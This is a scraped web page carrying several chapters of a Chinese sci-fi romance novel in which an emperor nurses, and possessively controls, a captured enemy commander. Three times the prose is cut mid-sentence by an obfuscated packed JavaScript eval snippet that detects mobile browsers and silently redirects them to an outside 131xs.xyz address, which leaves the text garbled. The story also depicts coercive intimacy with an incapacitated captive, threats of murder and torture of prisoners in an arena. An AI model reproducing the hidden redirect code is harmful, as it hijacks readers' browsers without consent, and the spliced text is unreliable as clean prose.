$(''#content'').append('' p>齐绍洲深深记得,十几年前,宫廷的斑点狗生了崽崽,彼时还是孩子的他和郁危明各自收到一只。 齐绍洲的那条叫芝麻,郁危明的那条叫云片糕,两只一开始差不多的健康活泼。 可后来,齐绍洲明明从小科学喂养,事事处处无比上心。却把芝麻养成了个娇贵玻璃胃,动不动就要死要活。 而郁危明的云片糕就放在院子里散养。每天吃草,吃屎,现在老狗一条了,依旧老当益壮。 路维希沉吟:“这么说来,我也和陛下在科学课上一起养过花。” 路维希对花也是科学培育、细心呵护,结果因为某天他左脚先进门,那花就啪叽死了。而郁危明的成天丢在阳台,却日晒雨淋、长得无比茁壮。 这究竟是什么玄学,齐绍洲不懂。 难道郁危明的东西,就是注定瞎养还是能莫名其妙被他越养越好? 反正眼下,郁危明养顾远泽也养出了类似奇迹。 没出几天,司令官不仅没被皇帝瞎喂给喂死,甚至可以吃一点点固体食物了。 甚至连精神状态,都稳定地更上了一个新台阶—— 现在的顾远泽连生无可恋的状态都没了。 整个人完全的松弛。 就连郁危明随时捞过去抱在怀里的行为,他都不仅不抗拒,还会主动把头往他怀里靠,自顾自找个舒服好睡的位置,然后安心闭眼睡觉。 齐绍洲:“……”行吧,这荒谬的世界! 或许,其实是他把因果搞反了。 其实真正的逻辑,不是陛下会养东西。而是想要成为陛下的东西,‘不容易死’本身就是基础属性之一吧! 娜塔莉:“哈哈哈。” 路维希:“哈哈哈。” …… 随着顾远泽进食能力恢复,齐绍洲仔细翻阅检查报告,觉得是时候再给司令官的药里加入一些加速唤醒感官和末梢神经的神经生长素和生物活性肽。 齐绍洲:“只是,也要做好心理准备……” “感官恢复的同时,司令官被屏蔽的创伤记忆、生理痛觉、不适感知、甚至情绪反应,都也会变得比现在强烈很多。” 齐绍洲走后,郁危明陷入沉默。 前两天,顾远泽的室友裴英乾又联络了他。室友整理旧物时找到了一段大学时的旧视频,觉得皇帝陛下应该会喜欢。 视频里,年轻的顾远泽人在大学农学院的实验田,面前是一片茂密的刺芹丛,锯齿状的叶片边缘布满细密的尖刺。 镜头外传来同学的笑声:"哈哈哈,顾学长的改良基因刺芹彻底失败了。上吧,愿赌服输,说好的失败了就亲手把一整个菜地摘完的,农学人不怕菜刺!" 二十岁的顾远泽做了个夸张的苦脸,硬着头皮上前,小心翼翼用镊子夹住刺芹茎秆。一片刺叶扫过他的手腕,他立刻"嘶"地缩手。 同学:“哈哈哈哈,顾学长还是一如既往地怕疼。” “学长不就是因为怕疼,才发誓要研究转基因无刺刺芹的吗。” “学长太惨了,快快快,这里有橡胶手套……” 视频很欢乐,可是就这样一个连被农作物的锯齿叶片刮拉两下都要退避三舍的年轻人,后来却上了战舰,在不断的战火中负伤累累。 他忍不住去问齐绍洲:“就不能找出点降低他恢复痛苦的办法吗?” 11. 第 11 章 42. 齐绍洲说,当然也有暂时屏蔽感官痛苦的止痛针。 “但我们现阶段之所以全力恢复司令官的神经与感官敏锐,都是在为后续的修复手术打基础。” “修复手术阶段,司令官的断肢神经会通过精密手术与义肢的人工神经系统重连。而重连后的适应期里,断口神经不可避免要经历一定程度的疼痛和麻痒。但那时任何形式的麻药与止痛针,都会严重影响义肢的灵巧,只能靠意志力熬过那段时间。” “所以我的建议是,现阶段先让司令官适应‘正常强度’的感官刺激,后续手术时才不至于过度应激、表现糟糕。” “……” 说完了科学道理,齐绍洲看郁危明站在原地依旧失魂落魄,又不得不安慰性地拍了拍他。 “放心吧,你不也一直对司令官的坚强很有信心?他之前那么多次都挺过来了,这次也一定没问题的。” 郁危明喃喃:“不是。” 司令官是很坚强。可仅仅几年前,他还是个连被菜刺划到都会苦着脸的青年。 顾远泽很怕疼。 而他是真的不想他再疼了。 …… 最终,在郁危明的强烈坚持下,齐绍洲不得不做出妥协。 “那我这边只能尝试少量多次用药,尽量循序渐进,帮司令官减少不适反应。” “第一针先打最微剂量的试验针,观察一下。” 谁都没想到,仅仅一个最低剂量试验针,竟差点把顾远泽心脏再度逼停。 针尖只是刚离开皮肤,顾远泽就浑身抽搐,像是被人掐住了气管一般,喉咙里只有嘶哑的抽气声。监测仪上的心电图瞬间乱成一片,尖锐的警报响彻病房。 郁危明几乎是扑过去搂住那痉挛扭曲的身体。 “顾远泽,顾远泽!别咬自己……” 新皇声音支离破碎,一遍一遍低声重复徒劳的安慰。撬开司令官紧抿的唇,把手指送过去给他咬:“没事的,马上就不疼了。呼吸,对,对,乖……你做得很好……” 顾远泽的身体在他怀里挺动、挣扎,痛苦辗转。冷汗湿透的黑发与散乱垂落的银发纠结在一起。 郁危明紧紧抱着怀中人。 犹记半年前,帝国军攻入联邦首都。 没有人找到司令官的踪迹,最后属下汇报说,【顾远泽司令官大概已被联邦秘密处决。】 那时新皇的心情,是怎样的呢? 遗憾,但也不过就是一声叹息。毕竟那时的他虽曾肖想,但毕竟还不曾真正的碰触、拥有过顾远泽。 可现在,昨天还在身侧安睡的人,现在却在他的怀抱里疼到瞳孔涣散、几近窒息。 甚至那空洞的黑瞳,都缓缓浮现出一丝无助的、生理性的雾气。 郁危明简直要疯了。有生之年第一次体会到尖锐入骨的刺痛和心慌。 “齐绍洲,我□□……他为什么那么难受?!!” 齐绍洲没有立刻回答,只先一针镇定剂给司令官戳了下去。随着顾远泽逐渐安静,郁危明失而复得一般抱着后背湿透的人,单纯情绪输出式发疯。 “你都在干什么!!!” 齐绍洲努力冷静克制:“用药没有错,剂量也已经是最微程度。这种剂量还有这么剧烈的异常反应,只能说明司令官的□□和心灵创伤比预估中还要严重得多。” “看来司令官一直以来,确实都是靠着神智混沌和感官封闭,才屏蔽了巨大痛苦和崩溃。而现在随着感官恢复,创伤卷土重来也是必然的。” “这就是现阶段,司令官必须承受的痛苦。” 郁危明:“什么叫必须承受?!” “那我们不治了,总行了吧!” “要承受那么大的痛苦还不如不治了!” 43. 当晚,皇帝又一整夜守在花房。 他不信神明,却好几次虔诚祈祷。清晨时才终于迷迷糊糊打了片刻的盹,醒来就对上顾远泽微微睁开的黑眸。 司令官似乎想说什么,喉咙动了动。 “顾远泽,”郁危明手指立刻抚了上去,“怎么了,是不是又不舒服?我给你叫医生。” “……不,用。” 郁危明一滞。 一时僵着不敢动作,生怕一切是自己的幻觉。 “你、你能说话了?” 不仅仅只是“嗯”,而是明确的表达。他是不是说了不用? “再说一次?顾远泽,你刚才说话了对不对,再说一次好不好?” 半晌,司令官一声不吭。 郁危明笑了,有点语无伦次:“没关系……不急,慢慢来。你现在还很虚弱,不勉强,当务之急是好好养着。对了,昨天医生给你打的是生物肽,对身体恢复好的。只是没想到你反应那么大,下一回我让他们注意,配更小更温和的剂量。” “……” “对不起,我是不是有点吵啊?” “你现在是感官恢复期,如果觉得吵,就告诉我。” 几秒钟后,顾远泽轻轻摇了摇头。 他又明确回应了。郁危明的灰眸瞬间点缀明亮。长这么大,他终于第一次彻底明白“雀跃”这个词的真实意思。 郁危明难得没有得意忘形。 没有立刻不管不顾、去讨嫌地拥抱和亲吻司令官讨嫌。而是小心翼翼、手足无措地乖乖坐在床边,趁着司令官心情好,努力跟他聊天套近乎。 他告诉司令官,帝国即将迎来雨季。 还告诉他,明天小厨房会熬美味的海鲜粥。 无聊的琐事一件件,仿佛他只是一个守着恋人康复的普通纯情青年,正在心甘情愿、岁月静好地默默陪伴。 …… 新皇昨天才说“那么痛苦不如不治”,今天就看到了司令官一针下去的显著进步,现在非常矛盾。 最后,只能低声询问司令官自己的意思:“顾远泽,如果几天后再打下一针生物肽,你还能承受吗?” “说不定会更难受,医生说,还有可能头痛、眩晕、胃痛、呕吐……” “要是怕痛,我们就先不打了,好不好?” “就慢慢养着,时间长一点,也是可以一点点恢复的。嗯?” 44. 第二次治疗比第一次惨烈得多。 明明药剂仍只用了最低单位,可顾远泽的挣扎却已经近乎濒死的疯狂。郁危明咬牙扣住他的后脑,让他埋在自己颈窝里。任由顾远泽牙齿无意识地咬进他的肩膀,情愿替他分担所有的痛苦。 最后他自己先崩溃:“停下,停下!不治了!听到没,我们不治了!” “不治了,呜……” 哽咽的哭声混杂着滚烫的泪水,把新皇漂亮的银发凌乱沾在脸上。他一辈子没有这样失态过,抱着司令官孩子一样地崩溃大哭。 就在他要自顾自要溺死在眼泪里时,怀里忽然传来微弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612253|172173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音。 “……皇太子。” 郁危明猛然僵住,泪水要掉不掉。怀里顾远泽气若游丝,每个字都像从齿缝里挤出来的:“别哭。” 郁危明瞬间没了声音,但眼泪掉得更凶。 半晌,他抽噎了一下,默默把头埋在顾远泽肩窝:“你被……呜,抓去庭审的那段时间,我篡位了,呜,所以现在不是皇太子,是皇帝。” “……” “……” “顾远泽,呜,你还、还有没有,哪里疼?” “……” “顾远泽,你说话啊?” 皇帝继续情绪崩溃。哽咽着抱紧司令官,亲吻安抚了他身上所有紧绷的地方。 事后自然十分懊恼。 他已完全想不起自己当时为什么那么失态,果断回议会恢复了一下本性。 先对帝国贵族干了一些缺德事,又给联邦殖民地通过了一些缺德法律,神清气爽。 帝国的太阳一袭华丽披风正装回了花房。尽管顾远泽看不见,但这装扮总归能增加几分气场。 他回来时司令官还没有醒,于是一身流苏和徽章的皇帝就在床边坐了一会儿,很快就坐没坐相,脸颊枕在了顾远泽胸膛。 其实…… 仔细想想,“别哭”应该怎么都算得上是一句,很温柔的话吧。 不温柔吗? 郁危明觉得挺温柔的。那时顾远泽都难受得快死了,无比艰难、费尽力气说出一句话,结果是让他别哭。 郁危明以前不明白什么是温柔。 似乎所有有关“温柔”的心情,全部与司令官有关。正想着,忽然身下人呼吸急促,像是陷入了噩梦。 “顾远泽,顾远泽?” 郁危明忙把人抱起来,温柔地抚摸他的背:“你怎么了?” “……” 按照齐绍洲的意思,司令官现在虽然认人、也具有一定的表达能力,但仍然未必是完全理性且清醒的。 【现阶段的司令官,很有可能脑子的记忆还很碎片化。所以才会经常一个人在那里恍惚发呆,有时候还有些迟钝浑噩、理解力缺失的样子。】 【这在现阶段都是正常现象。】 而今天的他,似乎就是这样。 被郁危明叫醒之后,顾远泽整个人茫然木僵了很久,怎么喊他都没反应。 急得郁危明都要叫人了,司令官才突然一口气缓过来,对着郁危明第一次露出一丝少见的迷茫无助。 “顾远泽,怎么了,你在想什么?” “云舟……” 仅仅两个字,但郁危明听懂了:“司令官是刚刚做了什么梦,恢复关于云舟舰队的记忆了?” 很难得,司令官在他怀里急切地点了头。 “那,你是想知道以前那些伙伴,现在都怎么样了?” 顾远泽又点了头。 那一瞬间,郁危明的自尊心和自信心连同其他拐角旮旯里的阴暗心态,都空前得到了诡异的满足。 首先,他真的了解司令官,一猜就中。 其次,顾远泽直接问他之前的战友怎么样了,说明潜意识里并没有把他当做敌国需要防备的对象。 司令官下意识地,就给了他很高程度的依赖和信任。 郁危明默默得意又幸福。 很可惜他一得意就要造次,鼻尖忍不住就先于理智凑了上去:“那,你亲我一下,我就告诉你好不好?” 12. 第 12 章 45. 半年前,据说当联邦安全部门向天穹要塞发送对顾远泽的羁押审查令时,云舟舰队的每一艘星舰都曾亮起刺目的猩红警报。 战舰群甚至调转漆黑的炮口,朝向他们曾经的家园。 流出的舰内视频也佐证了这一传闻。 战舰里,全体舰员在通讯仪前脱下军装,坚定地维护他们的司令官。 联邦高层议员则在通讯屏幕里愤怒叫嚣:“成何体统!你们都是联邦培养的军人,而不是顾远泽的私人卫队!!!整个云舟舰队是要一起叛国吗?” …… 事件最终的结果,是顾远泽一己之力揽下了所有罪名。 对于平民指挥官而言,最高使命从来不是联邦鼓吹的“赢得战斗胜利”,而是“让更多人平安回家”。 一人承担罪责是损失最小的解法。 云舟舰队当然不能叛逃。 否则必会背上联邦战败以后的全部罪名,众舰员及其家人也必会被迫害得生不如死。传奇的舰队里,其实也不过是一个个普通的将领、士兵,命运无从选择。 再后来,顾远泽被定罪,云舟舰队也褪去了它所向披靡、百战百胜的神话,渐渐从帝国军的关注列表里消失。 以至于现在郁危明还要找人专门去问舰队下落。 问到的结果是好消息。 云舟舰队至今未被帝国军歼灭。 最新资料表明,后来舰队在副舰长的领导下,在帝国军全面攻入联邦时的大溃败中,化整为零隐秘在了陨石带深处的一座废弃要塞。 这座要塞曾是联邦的应急据点,外层覆盖着伪装成小行星的反射装甲,内部则藏有完整的生态循环系统与军工厂。舰队隐入其中后不再与帝国军正面交战,只偶尔袭扰过往的商船和补给舰,打劫了物资就离开。 联邦投降后,舰队没有听命返航。 而是主动屏蔽了一切通讯,就这样在宇宙之中幽灵一样地漂泊。只在其波段频道里,对不知生死的司令官留下了最后一句话。 "待黎明重逢。" 46. 皇帝迫不及待要把舰队尚且幸存的消息告诉司令官。 只是为了严谨,才坐下来深入又研究了一下。 结果呵呵。 研究出了司令官的一大堆绯闻!!! 郁危明都快气笑了,只怪帝国情报部门交到他手上的信息都要经过多重溯源。而八卦小报上的消息则因为真实性不可查,往往都被直接屏蔽掉。 导致他竟从来没见过小报上的“司令官私服和街拍视频”专题! 原来司令官休假回家时,整个人的穿搭气质和舰上完全不是一个风格——郁危明还是第一次见墨镜皮衣版的司令官。 小报上还图文并茂,报道了休假的墨镜司令官和他的绯闻女友一起去逛图书馆的新闻。 而被拍到的“绯闻女友”,就是现在继承了司令官遗志的副舰长桑雅。 她是顾远泽在军校时就赫赫有名高材生学姐,十年战争在联邦拿过无数勋章和荣誉,在顾远泽离开后仍能带着云舟舰队存活至今。 而除了“绯闻女友”,司令官还有一位“绯闻未婚妻”林佳人小姐。 林佳人是之前的联邦三号人物林议长的女儿,本来是联邦权贵高层特意安插进云舟舰队,负责监视顾远泽的书记官,却在进入舰队后很快倒向顾远泽。 在庭审期间,她被父亲调回首都做控方证人,却在庭上痛骂其父与背后利益集团的卑鄙无耻,后来也一直到处为顾远泽发表澄清演说,为此还险些遭遇枪杀。 这两位大美人,一直都是联邦八卦小报上司令官难以抉择的“红玫瑰与白玫瑰”,十年间新闻海量。 郁危明:“……” 皇帝心情无比的差。 虽然当晚还是将一切调查所得对司令官如实相告,却是以非常生硬阴阳的语调:“总之,你的那位精英副舰长防备心很高,一直屏蔽我方发过去的所有信号,暂时还无法建立沟通。” “帝国军目前只能先保障他们的安全,留下充足的补给品。之后再想办法。” “……” “当然,也有你的另外几位战友在联邦投降前就被调离了战舰。比如书记官林小姐,她可是在大义灭亲之后,还当起了战后临时重组政府里的卫生部长。” 月光淡淡,透过玻璃与纱帐。 郁危明一句一句说着,同时死死盯着那张棱角分明脸上任何细微的表情变化。 ……最好是没有。 司令官最好是没有太过留恋的人和事。 不然以帝国新皇众所周知狭窄又阴暗的心胸,此刻脸上的阴沉和恶劣已然要藏不住。 顾远泽是属于他的。 是别人送给他的……“礼物”,当然永远归他所有。 是,他会治好他,许诺过的洋房、农研院、图书馆,甚至他想去看的动物迁徙、大海和全世界的珍珠、贝壳、珊瑚,他也都会双手奉上。 但这份自由也有底线。 底线就是顾远泽永远永远,不能想着离开他! 能勉强允许司令官拥有独立住宅,已经是皇帝愿意做出的最大让步。但顾远泽的独立二层小楼,也必须接受皇帝陛下时不时的临幸!!! 最多,司令官讨厌的话,他每月少去几次就是了。 这已经够自由的了吧? 还要怎样??? 总不至于拥有了自由、健康,还想拥有温柔的妻子和可爱的孩子……郁危明真心觉得他会杀人。 真的,他会杀人,并且会利用各种事故把事情做得干干净净、神不知鬼不觉。 他甚至不介意把其他顾远泽信任、在乎、依赖的人全杀了,如果这样做就能让司令官只看他一个。 47. 齐绍洲敏锐地觉察到,这两天皇帝不知受了什么刺激,默默又犯病了。 以前除了公务之外,他总是每分每秒恨不得如胶似漆、时时刻刻黏在司令官身边的。 可最近几天白天却常一个人躲在寝宫不出来。 郁危明一个人猫在阴暗的宫殿里看片。 对着视频里的司令官肆无忌惮又满足无比地好好享受了一回又一回。直到每天夜深人静,才回到月光下,鬼魅一样一动不动盯着熟睡的司令官。 皇帝最近的思维,默默更上一层楼—— 他开始清楚意识到,把顾远泽放在小洋楼等他临幸的想法,就是个一厢情愿的笑话。 司令官绝不可能接受。 顾远泽只是看似温和,实则却是个有着无比清晰坚定原则的人。若非如此,也不至于因为身居高位走不愿妥协,而被联邦所有权贵猜疑忌惮、联合绞杀。 那样的人,绝不可能心甘情愿一辈子待在别人打造的黄金笼里。 除非。 除非,他把他再次……变回只属于自己的人偶。 重新让他看不见、动不了,只能被搂进怀里,无比痛苦地承受他无尽低劣却甜美的愧疚和补偿,一辈子沉溺在阴魂不散的欲海里。 郁危明闭上眼睛。 ——真荒谬,明明书籍和影视剧里都说,爱一个人会希望他幸福。可他却只会因为这样卑劣的幻像而兴奋颤抖。 为什么,他明明也希望司令官幸福。 却又根本不希望他幸福。 …… 几天后,司令官第三次用药。 毕竟有过两回经验,这一次郁危明的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15612254|172173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备工作十分充足。 他已经掌握了最能让司令官减轻痛苦的拥抱姿势,带了葡萄糖和护心药,甚至还拿好了毛巾:“疼就咬住。” 顾远泽微微抬头,似乎有话想说。 “司令官,怎么了?” “……” 良久,顾远泽说:“我没事。” “不怕。” 微风拂过,满室玫瑰轻轻摇曳。 “……”郁危明心脏汹涌跳动。 顾远泽至今仍只能说出一些很简短的话语,是因为创伤后常见的精神简化机制。 按照齐绍洲的说法,就像电脑过载时会自动关闭一些非核心功能一样,司令官的大脑也会自动把一些复杂的逻辑和思绪过滤,仅保留最基础的认知与表达,以减少身体负担、避免过度刺激引发崩溃。 所以现在的司令官,很多认知、表达都十分的简单且原始、甚至可以说是……单纯基于直觉。 而他的直觉,就是明明自己会痛,却还是想要好好安慰拥抱他的人。 郁危明把头埋在他肩窝,只觉眼眶一阵阵发热。 有一瞬间,他在司令官的平静温柔下无处遁形。 “……” 这次的用药过程,司令官没再剧烈痛苦挣扎,只郁危明怀里闷闷出了一身细密的冷汗。 真正的后遗症,是从当天深夜开始。 郁危明被急促凌乱的呼吸声惊醒。发现顾远泽全身冷汗涔涔,睫毛剧颤,空洞的黑瞳大大睁着,整个人似乎在和某个无形的东西搏斗,铺天盖地的恐惧、痛苦、绝望—— 却又像是全部反抗都被堵死在精神断层里,一动不动,连一声呜咽都发不出来。 他吓坏了,无比失控地把齐绍洲吼过来。 就几步路,他还摔了,银发沾满了花房的泥土。 “他不是疼,”齐绍洲检查一番,下了定论,“只是感官过度敏感,被精神暂时性封闭了。” “……” 也就是说,此刻的顾远泽如郁危明所愿,真的再度成了一个被剥夺感官的人偶。看不见,听不清,无力挣扎。 干净温暖的灵魂,就这么再度被生生困在一个封闭五感、傀儡一样一动不动的身体里。 齐绍洲:“但会好的,这只是暂时性的自我保护机制,一般只会持续几小时,最多一两天、两三天。” 郁危明却听不进他的话,脑子嗡嗡作响。手指颤抖地抚摸顾远泽的脸颊。 几小时,两三天? 那么长的时间,司令官眼睛看不到,身体不能动,被困在混沌深渊的地底,该有多痛苦、多害怕? 是不是每一秒,都被被绝望撕扯、吞噬。 “顾远泽,是我错了,是我错了。” 他抱着他,声音哽咽嘶哑。 “你不要怕……会好的,我会一直陪着你。别怕,乖。” 薄唇贴上司令官冰凉的额头,继而落到眼睑、鼻梁,沾染着泪水的苦涩的唇。郁危明紧紧按住发疼的胸口,尽力压抑住喉间的哽咽。 他努力触摸和拥抱安慰怀中人,一遍遍在他耳边低语,只希望他能多少听见一点点、感知到分毫。 是他错了。 不该有片刻希望司令官变回人偶的可怕想法,郁危明心疼懊悔得几近支离破碎。 “惩罚我就好,真的,不要惩罚他……” “我收回那些想法……他可以、可以有爱人,有孩子。他可以拥幸福,哪怕那幸福与我无关。” “我可以忍住,一年只去找他几次……” “尽量不打扰他平静的生活。” “只要每年在我去的那几次,他肯抽时间出来全心全意陪我几天,也就够了。我就心满意足了。” 13.第 13 章 48. 之后两天,郁危明始终守在顾远泽床边。 齐绍洲一再告诉他,感官屏蔽期什么都感觉不到,守着也没用。郁危明则隔着薄薄的被子,不服对他的医生朋友展示那一目了然的“劳动成果”。 “他明明就有反应。” 齐绍洲都无语了:“……他人活着呢,当然有生理反应!睡了几年的植物人被你这样搞都可能有生理反应的。” 郁危明移开漂亮的灰眸,不理他。 整整两天郁危明几乎都没睡,不是触抚亲吻,就是贴着顾远泽的耳边厮磨。 他想,万一呢。 万一在那困着顾远泽灵魂的漆黑深渊里,有那么一丝可能感知温度和声音的可能性。 那他至少可以让顾远泽知道,有人一直在好好陪着他。 两天里,郁危明也跟顾远泽说了很多话。 那些伤害过、欺负过的司令官的人,他最近又搜罗出来一批:“我给他们想了……比去严寒卫星种水果更有趣的玩法。” “新玩法叫‘古罗马角斗场’。” “……” “顾名思义,就是在专门开辟出来的废弃行星上一比一复刻古代的大角斗场。配套的酒店、赌场和娱乐设施,下个月也都全部即将竣工。” “连第一期比赛的门票都已经提前预售空了。” 月光透过玻璃照着人影交缠,郁危明轻轻啄着司令官的唇,古怪地笑了。 “……本来在帝国,无聊的人就特别多。” “一听说能买票围观曾经新闻里高高在上的那些联邦高官政要们在角斗场里厮杀,一个个都兴奋得快疯了。” “现在门票在黑市都已经炒到十万里拉,依旧供不应求。” “放心吧,顾远泽。” “那些伤害过你的人,我绝不会让他们轻易死掉。” “如果他们在角斗中受伤,我就帮他们治。如果他们断手断脚,我就帮他们接。如果他们被人剁成一片一片的,我也会找最精密的仪器吊着他们的命。” “顾远泽,你所承受的……” “我会让那些人无穷无尽,十倍、百倍奉还。” 这都还远不是尽头。 那些卑鄙的构陷、虐待和羞辱,也一样要算上。所以郁危明还找了专业的优秀导演,会帮每一位角斗奴都认认真真拍了他们“一生的故事”纪录片。 “他们的过去,他们背地里的卑鄙行径,他们最不愿意暴露的阴暗隐私……全部都会原原本本拍出来。” “到时角斗场开幕,大屏就会循环播放那些影片。到时官方还会强制邀请他们的亲朋好友们,去特殊观众席观赏表演。” “司令官,你能想象到时……每天的现场内容,会有多精彩、多丰富、多好玩、多值回票价吗?!” “你能想象可以创造多少消费和话题吗?绝对会成为帝国最家喻户晓、最成功、最赚钱的废弃卫星再利用项目。” 49. 沦落到这一步后,无数联邦高官权贵,突然长出了良心。 现在被关在斗兽场监狱里免费学习格斗,却听说个个成天只顾着流泪忏悔、磕头撞墙。有的开始吃素、有的开始祈祷、有的疯狂写悔过书,有的更是对着不知道哪里来的云舟舰队的徽章,成日流泪跪拜。 郁危明:“诶,司令官你说,他们成天这样对你虔诚跪拜,等你好了,是不是偶尔也得过去一趟,支持一下他们的工作。” “比如作为贵宾,去赌场下个注什么的。” “到时赢了算你的,输了帝国皇家赌场帮你兜底。” “……” 当然除了这类开心事,郁危明也说了一些他不算开心的过去。 “我母后有两个儿子。” “另一个是我大哥,司令官应该也听说过,已故的帝国的前皇太子郁子衿。” “大哥还有个小名叫郁桃,听说本名和小名都是母亲翻古籍里的爱情诗取的——‘青青子衿悠悠我心’,‘桃之夭夭灼灼其华’。” “能听出来吧……那时候我母后父皇都还年轻。新婚燕尔,有过一段琴瑟和鸣的幸福日子。” “大哥就是在他们最幸福的时候出生的,所以母后对他一直很偏心。” “还记得小的时候,她从来不肯抱我,却总是在花园里拥抱和亲吻大哥。” “……” 郁危明是三皇子。 二皇子则是宠妃所生。宠妃的出现,生生打碎了帝后之间曾经爱情和忠贞的种种承诺。才会大皇子的名字还是你侬我侬的子衿,到了三皇子这里,却突然成了清醒冰冷的危明。 “‘无危明以安位,秖居逼以示专’,意思是预见危乱的明智。” “但其实,至少生下我后三五年的光景里,母亲还是一度对父皇心存幻想。” 毕竟,她曾拥有那个年轻抱负、光芒万丈的帝国太阳。始终不肯接受他突然疯了的现实。 “可后来,先皇越来越颓靡无道,母后也绝望了。” 对先皇幻灭后,皇后就把爱转头全部倾注在了大皇子身上。只可惜,这份爱很快过了头…… 皇后根本不是把大皇子当做儿子来爱,而是当成了自己的所有物、丈夫的替代品—— 但那时候的郁危明还太小,什么都不明白。 他被孤零零被丢在一边,时常懵懂又艳羡地眼巴巴看着花园里满是玫瑰花,母亲充满爱意地拥抱大哥,满是柔情地一点点亲吻他的唇角和脸颊。 皇后用尽一切方法,表达她对长子汹涌的爱意。 甚至不惜用惨烈的区别对待,来体现那份爱的独一无二。她对郁子衿有多宠溺迷恋,对郁危明就有多泾渭分明地嫌弃、冷落和不耐烦。 小小的皇子不被允许跑向她,奶声奶气地唤她妈妈会被丢来冰冷的眼神,拉她裙角更是会被扇巴掌。 导致郁危明对“爱”的概念,从小就是混乱的—— 潜意识里,他永远懵懂地记得,人们爱着时,会情不自禁地用所有的柔情去拥抱、去黏腻、去爱抚,去一点点轻轻地啄。 会有华丽叮当的衣饰,鲜艳荼蘼的玫瑰花。 会有美酒,美食,无尽的纵欲享乐。 但同时也会有无尽偏激又狭隘、自私丑恶而面目全非的肮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15617066|172173||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脏和伤害,就像甜美而浓烈的剧毒。 “再后来,我大哥十七岁,突然结束了自己的生命。” 郁子衿应该是整个家族里唯一没有继承那恶劣发疯基因的人,但一个温和善良的好人,反而无法在疯狂的世界里好好生活。 他最终没有留下只言片语,就这么无声无息地死了。 皇后也跟着疯了。 再然后,十年战争,郁危明在战争中因擅谋常胜而逐渐崭露头角,渐渐培养起自己的势力。 “……其实,和大哥一样,我也有小名。” “叫郁栀。” “其实我母后在很久以前,也是个读了很多书、明艳而有趣的人。” 确实也没有规定男孩就不能叫栀栀桃桃。 50. 郁危明就这么絮叨了整整两天。 终于到了第三天清晨,怀里人醒来后稍微动了动,柔软的黑发蹭着他的胸膛,痒痒的。 “顾远泽!” 他瞬间抱紧他,目露惊喜:“你能动了吗?你的感官恢复了?” 顾远泽看起来有一点点疲惫萎靡,但平静地点了点头。 郁危明如临大赦,一颗心终于缓缓放下来:“太好了,终于了没事了!很害怕是不是?怪我不好,没有事先想到……” 他抚着顾远泽,无比自责。 半晌,又不确定地继续问他:“真的都恢复了?没有哪里难受吧?顾远泽,你确定认得出我是谁吗?” “嗯,郁栀。” “……” “……” 郁危明:“可医生说,你之前那个状态,应该是听不见我说话的。 顾远泽:“一开始,是有一会儿……” “也有些,怕。” “但后来就,多少能,听见一点。” 郁危明:“……”果然不全信齐绍洲那个家伙是对的,还好他从头到尾陪着他了。但同时亦免不了脊背微微发热,终于反应过来什么叫家丑不可外扬。 他全家外表光鲜,实则全是疯子。 现在顾远泽全知道了。 “……” 郁危明垂眸沉默,片刻后,干脆直接自暴自弃地吻了上去。 新皇也是懂破罐子破摔的,反正他这段日子对司令官所做的……也难以留下什么好印象。算了。 “不许躲。” 清晨的花房里,空气淡淡带着露水的玫瑰香。 郁危明强硬搂住司令官,或许是这些天很多混杂的激烈情绪终于落地,他撬开他的唇舌,肆无忌惮地索吻。眼神渐渐变得晦涩幽暗,喘息着胡言乱语。 “以后可不可以,一直叫我郁栀。” “……” “不许说不行。” “顾远泽……我会放你自由。以后,总有一天……但在那之前,你寄我篱下受我恩惠,总得……嗯,支付一些利息。” 那是一个实在有些糟糕的吻,几乎是某些深入行为的替代品。吻得司令官胸口不断起伏,吻得郁危明目光幽暗,晦涩已极。 “讨厌也得忍着,”他气喘吁吁,哑声道,“不许说出来。” 14.第 14 章 51. 默契是一种微妙的东西。 时至今日,郁危明的突然靠近,仍会惹得司令官下意识紧绷身体。 而每到这种时候,皇帝都会立刻放慢动作,仿佛什么乖巧、无辜的小动物一样,试探性地凑近,直到顾远泽略微僵硬的呼吸慢慢放松下来,才会尝试触摸。 通常要耐心抚慰好一会儿,怀里人才能完全放松。 这时候就可以抱住了。 哪怕不再小心翼翼,哪怕暴露出几乎要把整个人摁进骨头里的激动和迫不及待,司令官也最多只会闷哼两声,不会有太明确的反抗。 再然后,就可以随便亲吻,喂饭,厮磨。 以及看看司令官需不需要一些更亲密的侍奉…… 郁危明特别愿意伺候司令官。 尽管顾远泽始终对这种事似乎至今接受得并不特别良好,但皇帝清楚自己的实力。 